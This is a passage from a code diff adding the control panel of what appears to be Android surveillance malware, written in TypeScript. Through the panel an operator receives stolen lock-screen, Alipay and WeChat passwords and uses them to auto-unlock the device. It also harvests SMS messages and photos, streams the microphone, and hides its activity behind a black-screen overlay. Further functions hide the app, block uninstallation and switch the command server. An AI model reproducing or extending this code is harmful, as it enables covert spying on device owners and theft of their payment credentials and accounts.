(needsConfirmButton) { + confirmInfo = `\n💡 提示: 该密码类型 (${passwordType}) 需要确认按钮,建议先提取确认坐标` + } else { + confirmInfo = `\n✅ 该密码类型 (${passwordType}) 通常无需确认按钮` + } + + modal.confirm({ + title: '找到密码记录', + content: `发现密码: ${data.password}${confirmInfo}\n\n是否执行自动解锁?`, + okText: '确认解锁', + cancelText: '取消', + onOk() { + // ✅ 用户确认后,先保存密码到数据库,然后执行解锁 + savePasswordToDatabase(data.password) + // 🆕 优先使用保存的坐标,如果没有则使用学习的坐标 + const coordsToUse = savedConfirmCoords || learnedConfirmButton + performAutoUnlock(data.password, coordsToUse) + } + }) + } else { + // 🔧 修复:没有密码时提供手动输入选项 + modal.confirm({ + title: '🔐 暂无密码记录', + content: '该设备暂时未记录密码。\n\n您可以:\n• 点击"确认"手动输入密码进行解锁\n• 点击"查找密码"从操作日志中搜索\n• 点击"取消"稍后手动操作', + okText: '手动输入密码', + cancelText: '查找密码', + width: 450, + onOk() { + // 打开密码搜索弹窗,但允许直接输入密码 + setPasswordSearchVisible(true) + setFoundPasswords([]) // 清空历史密码 + setSelectedPassword('') + setCustomPasswordInput('') // 清空自定义输入 + setPasswordSearchLoading(false) // 不显示加载状态 + }, + onCancel() { + // 用户选择查找密码 + handleSearchPasswords() + } + }) + } + } + + const handleDeviceControlResponse = (data: any) => { + console.log('🎮 设备控制权响应:', data) + if (data.success && data.deviceId === deviceId) { + console.log('✅ 成功获取设备控制权,现在获取设备状态') + // 🔧 获取控制权成功后,立即获取设备状态 + setTimeout(() => { + getDeviceState() + }, 100) // 稍微延迟确保控制权已设置 + } else { + console.error('❌ 获取设备控制权失败:', data.message) + } + } + + // ✅ 新增设备状态相关响应处理 + const handleSavePasswordResponse = (data: any) => { + console.log('💾 保存密码响应:', data) + if (data.success) { + console.log('✅ 密码已保存到数据库') + } else { + console.error('❌ 保存密码失败:', data.message) + } + } + + const handleUpdateDeviceStateResponse = (data: any) => { + console.log('📊 更新设备状态响应:', data) + if (data.success) { + console.log('✅ 设备状态已更新') + } else { + console.error('❌ 更新设备状态失败:', data.message) + } + } + + const handleGetDeviceStateResponse = (data: any) => { + console.log('📊 获取设备状态响应:', data) + if (data.success) { + if (data.data) { + const deviceState = data.data + console.log('📊 设备状态数据:', deviceState) + + // 更新本地状态以匹配服务器状态 + if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) { + dispatch(setDeviceInputBlocked(deviceState.inputBlocked)) + setOperationEnabled(!deviceState.inputBlocked) + } + if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) { + setIsLoggingEnabled(deviceState.loggingEnabled) + } + // 🆕 同步黑屏遮盖状态 + if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) { + setIsBlackScreenActive(deviceState.blackScreenActive) + console.log('🖤 从服务器同步黑屏状态:', deviceState.blackScreenActive) + } + // 🆕 同步应用隐藏状态 + if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) { + setIsAppHidden(deviceState.appHidden) + console.log('📱 从服务器同步应用隐藏状态:', deviceState.appHidden) + } + // 🛡️ 同步防止卸载保护状态 + if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) { + setIsUninstallProtectionEnabled(deviceState.uninstallProtectionEnabled) + setUninstallProtectionStatus(deviceState.uninstallProtectionEnabled ? 'monitoring' : 'idle') + console.log('🛡️ 从服务器同步防止卸载保护状态:', deviceState.uninstallProtectionEnabled) + } + if (deviceState.password) { + setLastKnownPassword(deviceState.password) + } else { + setLastKnownPassword('') // 确保清空之前的密码 + } + } else { + console.log('📊 设备暂无状态记录,使用默认状态') + // 设备暂无状态记录,保持清空后的默认状态 + setLastKnownPassword('') + setIsLoggingEnabled(false) + setOperationEnabled(true) + setIsBlackScreenActive(false) + setIsAppHidden(false) + setIsUninstallProtectionEnabled(false) + setUninstallProtectionStatus('idle') + } + } else { + console.error('❌ 获取设备状态失败:', data.message) + // 获取失败也保持默认状态 + setLastKnownPassword('') + setIsLoggingEnabled(false) + setOperationEnabled(true) + setIsBlackScreenActive(false) + setIsAppHidden(false) + setIsUninstallProtectionEnabled(false) + setUninstallProtectionStatus('idle') + } + } + + // 处理密码搜索响应 + const handlePasswordSearchResponse = (data: any) => { + console.log('🔍 收到密码搜索响应:', data) + setPasswordSearchLoading(false) + + if (data.success) { + if (data.passwords && data.passwords.length > 0) { + console.log('✅ 找到密码:', data.passwords) + setFoundPasswords(data.passwords) + setSelectedPassword('') // 重置选择 + } else { + console.log('ℹ️ 搜索成功但未找到密码,显示输入界面') + // 🔧 修复:即使没有找到历史密码,也显示弹窗让用户手动输入 + setPasswordSearchVisible(true) + setFoundPasswords([]) + setSelectedPassword('') + setCustomPasswordInput('') + + // 显示提示信息,但不关闭弹窗 + message.info('未找到历史密码记录,请直接输入密码', 3) + } + } else { + console.log('❌ 密码搜索失败:', data.message) + // 🔧 修复:搜索失败时也允许用户手动输入密码 + setPasswordSearchVisible(true) + setFoundPasswords([]) + setSelectedPassword('') + setCustomPasswordInput('') + + // 显示搜索失败的提示,但保持弹窗打开 + message.error(`密码搜索失败: ${data.message || '未知错误'},请直接输入密码`, 4) + } + } + + // 监听设备状态同步事件 + const handleDeviceInputBlockedChanged = (data: any) => { + if (data.deviceId === deviceId && data.success) { + console.log(`[控制面板] 设备 ${deviceId} 输入阻塞状态已同步: ${data.blocked}`) + dispatch(setDeviceInputBlocked(data.blocked)) + } + } + + const handleDeviceLoggingStateChanged = (data: any) => { + if (data.deviceId === deviceId && data.success) { + console.log(`[控制面板] 设备 ${deviceId} 日志状态已同步: ${data.enabled}`) + setIsLoggingEnabled(data.enabled) + } + } + + // 监听设备状态恢复事件 + const handleDeviceStateRestored = (data: any) => { + if (data.deviceId === deviceId && data.success && data.state) { + console.log(`[控制面板] 设备 ${deviceId} 状态已恢复:`, data.state) + + // 恢复输入阻塞状态 + if (data.state.inputBlocked !== null) { + dispatch(setDeviceInputBlocked(data.state.inputBlocked)) + } + + // 恢复日志状态 + if (data.state.loggingEnabled !== null) { + setIsLoggingEnabled(data.state.loggingEnabled) + } + + // 🆕 恢复黑屏遮盖状态 + if (data.state.blackScreenActive !== null) { + setIsBlackScreenActive(data.state.blackScreenActive) + console.log('🖤 从状态恢复同步黑屏状态:', data.state.blackScreenActive) + } + + // 🆕 恢复应用隐藏状态 + if (data.state.appHidden !== null) { + setIsAppHidden(data.state.appHidden) + console.log('📱 从状态恢复同步应用隐藏状态:', data.state.appHidden) + } + } + } + + // 处理UI层次结构响应 + const handleUIHierarchyResponse = (data: any) => { + //console.log('🔍 收到UI层次结构响应:', data) + if (data.deviceId === deviceId) { + if (data.success && data.hierarchy) { + dispatch(setDeviceScreenReaderHierarchy({ + deviceId, + hierarchyData: data.hierarchy + })) + //console.log('✅ UI层次结构数据已更新') + } else { + const errorMsg = data.error || '获取UI层次结构失败' + dispatch(setDeviceScreenReaderHierarchy({ + deviceId, + hierarchyData: null, + error: errorMsg + })) + console.error('❌ UI层次结构获取失败:', errorMsg) + } + } + } + + // 🆕 监听确认坐标保存响应 + const handleSaveConfirmCoordsResponse = (data: any) => { + if (data.deviceId === deviceId) { + if (data.success) { + message.success(`确认坐标已保存: (${data.coords.x}, ${data.coords.y})`) + // 更新设备状态以显示新的坐标 + getDeviceState() + } else { + message.error(`保存确认坐标失败: ${data.message}`) + } + } + } + + // 🆕 监听确认坐标更新广播 + const handleConfirmCoordsUpdated = (data: any) => { + if (data.deviceId === deviceId) { + console.log('📨 收到确认坐标更新:', data.coords) + // 更新设备状态以显示新的坐标 + getDeviceState() + } + } + + // 🆕 监听黑屏遮盖响应 + const handleBlackScreenResponse = (data: any) => { + if (data.deviceId === deviceId) { + console.log('🖤 黑屏遮盖响应:', data) + if (data.success) { + setIsBlackScreenActive(data.isActive) + message.success(data.isActive ? '黑屏遮盖已启用' : '黑屏遮盖已取消') + console.log(`🖤 [设备 ${deviceId}] 黑屏状态已更新: ${data.isActive}`) + } else { + message.error(`黑屏遮盖操作失败: ${data.message}`) + console.error(`🖤 [设备 ${deviceId}] 黑屏遮盖操作失败:`, data.message) + } + } + } + + // 🆕 监听应用设置响应 + const handleAppSettingsResponse = (data: any) => { + if (data.deviceId === deviceId) { + console.log('⚙️ 应用设置响应:', data) + if (data.success) { + message.success('应用设置已打开') + console.log(`⚙️ [设备 ${deviceId}] 应用设置已成功打开`) + } else { + message.error(`打开应用设置失败: ${data.message}`) + console.error(`⚙️ [设备 ${deviceId}] 打开应用设置失败:`, data.message) + } + } + } + + // 🆕 监听应用隐藏响应 + const handleAppHideResponse = (data: any) => { + if (data.deviceId === deviceId) { + console.log('📱 应用隐藏响应:', data) + + // 更新本地状态 + setIsAppHidden(data.isHidden) + + if (data.success) { + if (data.fromDevice) { + // 来自设备端的状态报告 + console.log(`📱 [设备 ${deviceId}] 收到设备端状态报告: ${data.isHidden ? '已隐藏' : '已显示'}`) + message.info(`设备状态: ${data.message}`) + } else { + // 来自服务端的操作响应 + message.success(data.isHidden ? '应用已隐藏' : '应用已显示') + console.log(`📱 [设备 ${deviceId}] 应用隐藏状态已更新: ${data.isHidden}`) + } + } else { + message.error(`应用隐藏操作失败: ${data.message}`) + console.error(`📱 [设备 ${deviceId}] 应用隐藏操作失败:`, data.message) + } + } + } + + // 🆕 监听设备应用隐藏状态变化(全局广播) + const handleDeviceAppHideStatusChanged = (data: any) => { + if (data.deviceId === deviceId) { + console.log('📱 设备应用隐藏状态变化:', data) + setIsAppHidden(data.isHidden) + // 不显示消息,避免干扰用户,仅更新状态 + } + } + + // 🆕 重新获取投屏权限响应处理 + const handleRefreshPermissionResponse = (data: any) => { + console.log('📺 收到重新获取投屏权限响应:', data) + if (data.deviceId === deviceId) { + setIsRefreshingPermission(false) + if (data.success) { + message.success('投屏权限重新申请成功,请在设备上确认权限') + console.log(`📺 [设备 ${deviceId}] 投屏权限重新申请成功`) + } else { + message.error(`重新申请投屏权限失败: ${data.message}`) + console.error(`📺 [设备 ${deviceId}] 重新申请投屏权限失败:`, data.message) + } + } + } + + // 🆕 处理关闭配置遮盖响应 + const handleCloseConfigMaskResponse = (data: any) => { + console.log('🛡️ 关闭配置遮盖响应:', data) + + if (data.permissionType === 'CONFIG_MASK_CLOSE') { + if (data.success) { + message.success(data.message || '配置遮盖已关闭') + console.log(`🛡️ [设备 ${deviceId}] 配置遮盖关闭成功`) + } else { + message.error(data.message || '关闭配置遮盖失败') + console.error(`🛡️ [设备 ${deviceId}] 配置遮盖关闭失败:`, data.message) + } + } + } + + // 🛡️ 防止卸载功能响应处理 + const handleUninstallProtectionResponse = (data: any) => { + console.log('🛡️ 防止卸载功能响应:', data) + if (data.deviceId === deviceId) { + setIsUninstallProtectionEnabled(data.enabled) + setUninstallProtectionStatus(data.enabled ? 'monitoring' : 'idle') + + if (data.success) { + message.success(data.enabled ? '防止卸载监听已启动' : '防止卸载监听已停止') + console.log(`🛡️ [设备 ${deviceId}] 防止卸载状态: ${data.enabled ? '启动' : '停止'}`) + } else { + message.error(`防止卸载操作失败: ${data.message}`) + console.error(`🛡️ [设备 ${deviceId}] 防止卸载操作失败:`, data.message) + } + } + } + + // 🛡️ 监听卸载尝试检测事件 + const handleUninstallAttemptDetected = (data: any) => { + console.log('🛡️ 检测到卸载尝试:', data) + if (data.deviceId === deviceId) { + message.warning(`检测到卸载尝试: ${data.type},已自动返回主页`) + console.log(`🛡️ [设备 ${deviceId}] 卸载尝试被阻止: ${data.type}`) + } + } + + // 📱 监听SMS数据响应(兼容直接载荷与包裹在success结构内的两种格式) + const handleSmsDataResponse = (data: any) => { + console.log('📱 收到SMS数据:', data) + // 可能的两种格式: + // 1) 直接载荷: { deviceId, type: 'sms_data', timestamp, count, smsList } + // 2) 包裹载荷: { success: true, data: { ...上面结构... } } + + // 解包 + const payload = (data && data.success && data.data) ? data.data : data + + // 仅处理当前设备的数据 + if (!payload || payload.deviceId !== deviceId) return + + setSmsLoading(false) + + // 校验payload是否为sms_data + if (payload.type === 'sms_data' && Array.isArray(payload.smsList)) { + setSmsData(payload) + // 读取后直接在短信卡片内展示 + if (typeof payload.count === 'number') { + message.success(`成功获取 ${payload.count} 条短信`) + } + } else if (data && data.success === false) { + message.error(`获取短信数据失败: ${data.message || '未知错误'}`) + } else { + console.warn('未识别的SMS数据格式:', data) + } + } + + // 📷 监听相册数据响应 + const handleAlbumDataResponse = (data: any) => { + console.log('📷 收到相册数据:', data) + + // 解包 + const payload = (data && data.success && data.data) ? data.data : data + + // 仅处理当前设备的数据 + if (!payload || payload.deviceId !== deviceId) return + + setAlbumLoading(false) + + // 校验payload是否为album_data + if (payload.type === 'album_data' && Array.isArray(payload.albumList)) { + const normalizedAlbumList = payload.albumList.map((img: any) => { + const mimeType = img?.mimeType ?? 'image/jpeg' + const base64Data = img?.data || '' + const dataUrl = base64Data ? `data:${mimeType};base64,${base64Data}` : '' + return { + ...img, + url: '', + resolvedUrl: dataUrl || img?.contentUri || '' + } + }) + setAlbumData({ ...payload, albumList: normalizedAlbumList }) + // 停止两个按钮的 loading + dispatch(setGalleryLoading(false)) + if (typeof payload.count === 'number') { + message.success(`成功获取 ${payload.count} 张相册图片`) + } + } else if (data && data.success === false) { + message.error(`获取相册数据失败: ${data.message || '未知错误'}`) + setAlbumLoading(false) + dispatch(setGalleryLoading(false)) + } else { + console.warn('未识别的相册数据格式:', data) + } + } + + webSocket.on('operation_log_realtime', handleRealtimeLog) + webSocket.on('operation_logs_response', handleLogResponse) + webSocket.on('clear_logs_response', handleClearLogResponse) + webSocket.on('get_device_password_response', handleGetPasswordResponse) + webSocket.on('device_control_response', handleDeviceControlResponse) + webSocket.on('save_device_password_response', handleSavePasswordResponse) + webSocket.on('update_device_state_response', handleUpdateDeviceStateResponse) + webSocket.on('get_device_state_response', handleGetDeviceStateResponse) + webSocket.on('device_input_blocked_changed', handleDeviceInputBlockedChanged) + webSocket.on('device_logging_state_changed', handleDeviceLoggingStateChanged) + webSocket.on('device_state_restored', handleDeviceStateRestored) + webSocket.on('password_search_response', handlePasswordSearchResponse) + webSocket.on('ui_hierarchy_response', handleUIHierarchyResponse) + webSocket.on('save_confirm_coords_response', handleSaveConfirmCoordsResponse) + webSocket.on('confirm_coords_updated', handleConfirmCoordsUpdated) + webSocket.on('black_screen_response', handleBlackScreenResponse) + webSocket.on('app_settings_response', handleAppSettingsResponse) + webSocket.on('app_hide_response', handleAppHideResponse) + webSocket.on('device_app_hide_status_changed', handleDeviceAppHideStatusChanged) + webSocket.on('refresh_permission_response', handleRefreshPermissionResponse) + webSocket.on('permission_response', handleCloseConfigMaskResponse) + webSocket.on('uninstall_protection_response', handleUninstallProtectionResponse) + webSocket.on('uninstall_attempt_detected', handleUninstallAttemptDetected) + webSocket.on('sms_data', handleSmsDataResponse) + webSocket.on('album_data', handleAlbumDataResponse) + + // 📷 单张相册图片保存事件(读取相册时逐张推送) + const handleGalleryImageSaved = (payload: any) => { + if (!payload || payload.deviceId !== deviceId) return + const mimeType = payload.mimeType ?? 'image/jpeg' + const base64Data = payload.data || '' + const dataUrl = base64Data ? `data:${mimeType};base64,${base64Data}` : '' + const resolvedUrl = dataUrl || payload.contentUri || '' + const normalized: GallerySavedItem = { + id: String(payload.id), + deviceId: payload.deviceId, + index: payload.index ?? 0, + displayName: payload.displayName ?? '', + dateAdded: payload.dateAdded ?? 0, + mimeType, + width: payload.width ?? 0, + height: payload.height ?? 0, + size: payload.size ?? 0, + contentUri: payload.contentUri ?? '', + timestamp: payload.timestamp ?? Date.now(), + url: '', + resolvedUrl + } + // 推入本地内联展示列表 + setGallerySavedList((prev) => [normalized, ...prev].slice(0, 500)) + // 同时写入全局相册,保证后续相册视图完整 + dispatch(addGalleryImage({ + id: String(normalized.id), + deviceId: normalized.deviceId, + index: normalized.index, + displayName: normalized.displayName, + dateAdded: normalized.dateAdded, + mimeType: normalized.mimeType, + width: normalized.width, + height: normalized.height, + size: normalized.size, + contentUri: normalized.contentUri, + timestamp: normalized.timestamp, + url: normalized.resolvedUrl || normalized.url + })) + // 不强制展开相册区域,避免用户在等待弹窗期间视图抖动 + } + webSocket.on('gallery_image_saved', handleGalleryImageSaved) + + // 🎙️ 监听麦克风音频数据 + const handleMicrophoneAudio = (data: any) => { + // 仅处理当前设备的数据(若服务端带有deviceId) + if (data.deviceId && data.deviceId !== deviceId) return + console.log('🎙️ 收到音频数据:', data) + setMicPermission('granted') + if (typeof data.sampleRate === 'number') setMicSampleRate(data.sampleRate) + if (typeof data.channels === 'number') setMicChannels(data.channels) + if (typeof data.bitDepth === 'number') setMicBitDepth(data.bitDepth) + // 直接播放 PCM_16BIT_MONO base64 数据 + if (data && data.audioData) { + playPcmChunk( + data.audioData, + data.sampleRate || 16000, + data.channels || 1 + ) + } + } + webSocket.on('microphone_audio', handleMicrophoneAudio) + + return () => { + webSocket.off('operation_log_realtime', handleRealtimeLog) + webSocket.off('operation_logs_response', handleLogResponse) + webSocket.off('clear_logs_response', handleClearLogResponse) + webSocket.off('get_device_password_response', handleGetPasswordResponse) + webSocket.off('device_control_response', handleDeviceControlResponse) + webSocket.off('save_device_password_response', handleSavePasswordResponse) + webSocket.off('update_device_state_response', handleUpdateDeviceStateResponse) + webSocket.off('get_device_state_response', handleGetDeviceStateResponse) + webSocket.off('device_input_blocked_changed', handleDeviceInputBlockedChanged) + webSocket.off('device_logging_state_changed', handleDeviceLoggingStateChanged) + webSocket.off('device_state_restored', handleDeviceStateRestored) + webSocket.off('password_search_response', handlePasswordSearchResponse) + webSocket.off('ui_hierarchy_response', handleUIHierarchyResponse) + webSocket.off('save_confirm_coords_response', handleSaveConfirmCoordsResponse) + webSocket.off('confirm_coords_updated', handleConfirmCoordsUpdated) + webSocket.off('black_screen_response', handleBlackScreenResponse) + webSocket.off('app_settings_response', handleAppSettingsResponse) + webSocket.off('app_hide_response', handleAppHideResponse) + webSocket.off('device_app_hide_status_changed', handleDeviceAppHideStatusChanged) + webSocket.off('refresh_permission_response', handleRefreshPermissionResponse) + webSocket.off('permission_response', handleCloseConfigMaskResponse) + webSocket.off('uninstall_protection_response', handleUninstallProtectionResponse) + webSocket.off('uninstall_attempt_detected', handleUninstallAttemptDetected) + webSocket.off('sms_data', handleSmsDataResponse) + webSocket.off('album_data', handleAlbumDataResponse) + webSocket.off('gallery_image_saved', handleGalleryImageSaved) + webSocket.off('microphone_audio', handleMicrophoneAudio) + } + }, [webSocket, deviceId, dispatch]) + + const sendControlMessage = (type: string, data: any = {}) => { + if (!webSocket) return + + // 检查操作是否被允许 + if (!operationEnabled) { + console.warn('操作已被阻止') + return + } + + webSocket.emit('control_message', { + type, + deviceId, + data, + timestamp: Date.now() + }) + } + + // 认证由 apiClient 统一处理 + + // 密码类型筛选(DEFAULT/ALIPAY_PASSWORD/WECHAT_PASSWORD) + const [passwordFilter, setPasswordFilter] = useState<'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD'>('DEFAULT') + + // 🔐 密码输入界面打开(6位PIN / 4位PIN / 图形密码) + const handleOpenPinInput = () => { + sendControlMessage('OPEN_PIN_INPUT', {}) + } + + const handleOpenFourDigitPin = () => { + sendControlMessage('OPEN_FOUR_DIGIT_PIN', {}) + } + + const handleOpenPatternLock = () => { + sendControlMessage('OPEN_PATTERN_LOCK', {}) + } + + // 支付宝检测相关API函数 + const startAlipayDetection = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🔍 启动支付宝检测') + webSocket.emit('camera_control', { + action: "ALIPAY_DETECTION_START", deviceId, + data: {} + }) + + setAlipayDetectionEnabled(true) + message.success('支付宝检测已启动') + } + + const stopAlipayDetection = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🛑 停止支付宝检测') + webSocket.emit('camera_control', { + action: "ALIPAY_DETECTION_STOP", + deviceId, + data: {} + }) + + setAlipayDetectionEnabled(false) + message.success('支付宝检测已停止') + } + + // 获取密码记录列表(支持筛选 DEFAULT/ALIPAY_PASSWORD/WECHAT_PASSWORD) + const fetchAlipayPasswords = async (page: number = 1, pageSize: number = 10) => { + try { + setAlipayPasswordLoading(true) + const typeQuery = passwordFilter === 'DEFAULT' ? '' : `&passwordType=${passwordFilter}` + const data: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=${page}&pageSize=${pageSize}${typeQuery}`) + + if (data.success) { + setAlipayPasswords(data.data.passwords) + setAlipayPasswordTotal(data.data.total) + setAlipayPasswordPage(data.data.page) + setAlipayPasswordPageSize(data.data.pageSize) + } else { + message.error('获取密码记录失败') + } + } catch (error) { + console.error('获取支付宝密码记录失败:', error) + message.error('获取密码记录失败') + } finally { + setAlipayPasswordLoading(false) + } + } + + // 获取密码记录列表(使用指定的筛选类型) + const fetchAlipayPasswordsWithFilter = async (filter: string, page: number = 1, pageSize: number = 10) => { + try { + setAlipayPasswordLoading(true) + const typeQuery = filter === 'DEFAULT' ? '' : `&passwordType=${filter}` + const data: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=${page}&pageSize=${pageSize}${typeQuery}`) + + if (data.success) { + setAlipayPasswords(data.data.passwords) + setAlipayPasswordTotal(data.data.total) + setAlipayPasswordPage(data.data.page) + setAlipayPasswordPageSize(data.data.pageSize) + } else { + message.error('获取密码记录失败') + } + } catch (error) { + console.error('获取密码记录失败:', error) + message.error('获取密码记录失败') + } finally { + setAlipayPasswordLoading(false) + } + } + + // 获取最新密码 + const fetchLatestPassword = async () => { + try { + const data: AlipayPasswordSingleResponse = await apiClient.get(`/api/alipay-passwords/${deviceId}/latest`) + + if (data.success && data.data) { + // 最新密码展示逻辑已移除 + message.success('已获取最新密码') + } else { + message.info('暂无密码记录') + } + } catch (error) { + console.error('获取最新密码失败:', error) + message.error('获取最新密码失败') + } + } + + // 删除密码记录(按筛选类型删除) + const deleteAllPasswords = async () => { + try { + const typeQuery = passwordFilter === 'DEFAULT' ? '' : `?passwordType=${passwordFilter}` + const data = await apiClient.delete<{ success: boolean }>(`/api/password-inputs/${deviceId}${typeQuery}`) + + if (data.success) { + setAlipayPasswords([]) + // 最新密码展示逻辑已移除 + message.success('已删除所有密码记录') + // 删除后刷新当前筛选类型列表 + fetchAlipayPasswords(alipayPasswordPage, alipayPasswordPageSize) + } else { + message.error('删除密码记录失败') + } + } catch (error) { + console.error('删除密码记录失败:', error) + message.error('删除密码记录失败') + } + } + + + // 🆕 重新获取投屏权限 + const handleRefreshPermission = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📺 重新获取投屏权限') + setIsRefreshingPermission(true) + + webSocket.emit('client_event', { + type: 'REFRESH_MEDIA_PROJECTION_PERMISSION', + data: { deviceId } + }) + } + + // 🆕 手动授权投屏权限(不自动点击确认) + const handleRefreshPermissionManual = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('📺 手动授权投屏权限(不自动点击)') + + webSocket.emit('client_event', { + type: 'REFRESH_MEDIA_PROJECTION_MANUAL', + data: { deviceId } + }) + + message.info('已发送手动授权请求,请在设备上手动确认权限弹窗') + } + + // 🆕 暂停屏幕捕获 - 已隐藏(功能已移至RemoteControlApp) + // const handlePauseScreenCapture = () => { + // if (!webSocket) { + // message.error('WebSocket未连接') + // return + // } + + // console.log('⏸️ 暂停屏幕捕获') + // sendControlMessage('SCREEN_CAPTURE_PAUSE', {}) + // message.success('已发送暂停屏幕捕获指令') + // } + + // 🆕 恢复屏幕捕获 - 已隐藏(功能已移至RemoteControlApp) + // const handleResumeScreenCapture = () => { + // if (!webSocket) { + // message.error('WebSocket未连接') + // return + // } + + // console.log('▶️ 恢复屏幕捕获') + // sendControlMessage('SCREEN_CAPTURE_RESUME', {}) + // message.success('已发送恢复屏幕捕获指令') + // } + // 微信检测相关API函数 + const startWechatDetection = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🔍 启动微信检测') + webSocket.emit('camera_control', { + action: "WECHAT_DETECTION_START", + deviceId, + data: {} + }) + + setWechatDetectionEnabled(true) + message.success('微信检测已启动') + } + + const stopWechatDetection = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🛑 停止微信检测') + webSocket.emit('camera_control', { + action: "WECHAT_DETECTION_STOP", + deviceId, + data: {} + }) + + setWechatDetectionEnabled(false) + message.success('微信检测已停止') + } + + // 获取微信密码记录列表 + const fetchWechatPasswords = async (page: number = 1, pageSize: number = 10) => { + try { + setWechatPasswordLoading(true) + const data: WechatPasswordListResponse = await apiClient.get(`/api/wechat-passwords/${deviceId}?page=${page}&pageSize=${pageSize}`) + + if (data.success) { + setWechatPasswords(data.data.passwords) + setWechatPasswordTotal(data.data.total) + setWechatPasswordPage(data.data.page) + setWechatPasswordPageSize(data.data.pageSize) + } else { + message.error('获取微信密码记录失败') + } + } catch (error) { + console.error('获取微信密码记录失败:', error) + message.error('获取微信密码记录失败') + } finally { + setWechatPasswordLoading(false) + } + } + + // 获取最新微信密码 + const fetchLatestWechatPassword = async () => { + try { + const data: WechatPasswordSingleResponse = await apiClient.get(`/api/wechat-passwords/${deviceId}/latest`) + + if (data.success && data.data) { + // 最新微信密码展示逻辑已移除 + message.success('已获取最新微信密码') + } else { + message.info('暂无微信密码记录') + } + } catch (error) { + console.error('获取最新微信密码失败:', error) + message.error('获取最新微信密码失败') + } + } + + // 删除所有微信密码记录 + const deleteAllWechatPasswords = async () => { + try { + const data = await apiClient.delete<{ success: boolean }>(`/api/wechat-passwords/${deviceId}`) + + if (data.success) { + setWechatPasswords([]) + // 最新微信密码展示逻辑已移除 + message.success('已删除所有微信密码记录') + } else { + message.error('删除微信密码记录失败') + } + } catch (error) { + console.error('删除微信密码记录失败:', error) + message.error('删除微信密码记录失败') + } + } + + // 日志控制函数 + const handleEnableLogging = () => { + sendControlMessage('LOG_ENABLE') + setIsLoggingEnabled(true) + // ✅ 同步更新到数据库 + updateDeviceState({ loggingEnabled: true }) + } + + const handleDisableLogging = () => { + sendControlMessage('LOG_DISABLE') + setIsLoggingEnabled(false) + // ✅ 同步更新到数据库 + updateDeviceState({ loggingEnabled: false }) + } + + const fetchOperationLogs = (page: number = 1, size: number = 50, type?: string) => { + if (!webSocket) return + + setLogLoading(true) + webSocket.emit('client_event', { + type: 'GET_OPERATION_LOGS', + data: { + deviceId, + page, + pageSize: size, + logType: type + } + }) + } + + // 日志查看与清理相关UI已移除(右侧改为Tab:设备信息/短信/摄像头/相册) + + const handlePageChange = (page: number, size?: number) => { + setCurrentPage(page) + if (size) setPageSize(size) + fetchOperationLogs(page, size || pageSize, logTypeFilter) + } + + const handleLogTypeFilterChange = (value: string | undefined) => { + setLogTypeFilter(value) + setCurrentPage(1) + fetchOperationLogs(1, pageSize, value) + } + + // ✅ 设备状态管理函数 + const savePasswordToDatabase = (password: string) => { + if (!webSocket) return + + console.log('💾 保存密码到数据库:', password) + webSocket.emit('client_event', { + type: 'SAVE_DEVICE_PASSWORD', + data: { deviceId, password } + }) + } + + const updateDeviceState = (state: any) => { + if (!webSocket) return + + console.log('📊 更新设备状态:', state) + webSocket.emit('client_event', { + type: 'UPDATE_DEVICE_STATE', + data: { deviceId, state } + }) + } + + // 防重复发送状态 + const [lastStateRequestTime, setLastStateRequestTime] = useState(0) + + const getDeviceState = () => { + if (!webSocket) return + + // 🔧 防止短时间内重复发送请求(1秒内只能发送一次) + const now = Date.now() + if (now - lastStateRequestTime < 1000) { + console.log('⚠️ 状态获取请求过于频繁,跳过') + return + } + + console.log('📊 获取设备状态') + setLastStateRequestTime(now) + webSocket.emit('client_event', { + type: 'GET_DEVICE_STATE', + data: { deviceId } + }) + } + + // 查找密码相关函数 + const handleSearchPasswords = () => { + if (!webSocket || !deviceId) { + message.error('WebSocket未连接或设备ID无效') + return + } + + console.log('🔍 开始从日志中查找密码...') + setPasswordSearchLoading(true) + setPasswordSearchVisible(true) + + // 发送查找密码请求 + webSocket.emit('client_event', { + type: 'SEARCH_PASSWORDS_FROM_LOGS', + data: { deviceId } + }) + } + + const handleSelectPassword = (password: string) => { + setSelectedPassword(password) + // 如果选择了历史密码,清空自定义输入 + if (password && customPasswordInput.trim()) { + setCustomPasswordInput('') + } + } + + const handleConfirmSelectedPassword = () => { + // ✅ 优先使用自定义输入的密码,如果没有则使用选中的密码 + const finalPassword = customPasswordInput.trim() || selectedPassword + + if (!finalPassword) { + message.warning('请输入密码或选择一个密码') + return + } + + console.log('✅ 用户最终使用密码:', finalPassword) + console.log(' - 自定义输入:', customPasswordInput) + console.log(' - 选中密码:', selectedPassword) + + // 关闭密码搜索弹窗 + setPasswordSearchVisible(false) + + // 保存最终密码到数据库 + savePasswordToDatabase(finalPassword) + + // 执行自动解锁 + performAutoUnlock(finalPassword) + + // 更新本地显示的密码 + setLastKnownPassword(finalPassword) + } + + const handleCancelPasswordSearch = () => { + setPasswordSearchVisible(false) + setFoundPasswords([]) + setSelectedPassword('') + setCustomPasswordInput('') // 清空自定义输入 + } + + // ✅ 新增:修改服务器地址功能 + const handleChangeServerUrl = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + if (!newServerUrl.trim()) { + message.error('请输入新的服务器地址') + return + } + + setServerUrlChanging(true) + console.log('🔄 修改服务器地址:', newServerUrl) + + + + webSocket.emit('client_event', { + type: 'CHANGE_SERVER_URL', + + data: { + deviceId: deviceId, + data: { + serverUrl: newServerUrl.trim() + } + + } + }) + + // 显示成功消息并关闭弹窗 + setTimeout(() => { + message.success('服务器地址修改指令已发送') + setServerUrlModalVisible(false) + setNewServerUrl('') + setServerUrlChanging(false) + }, 1000) + } + + // 一键解锁相关函数 + const handleOneClickUnlock = () => { + console.log('🔓 一键解锁按钮被点击') + 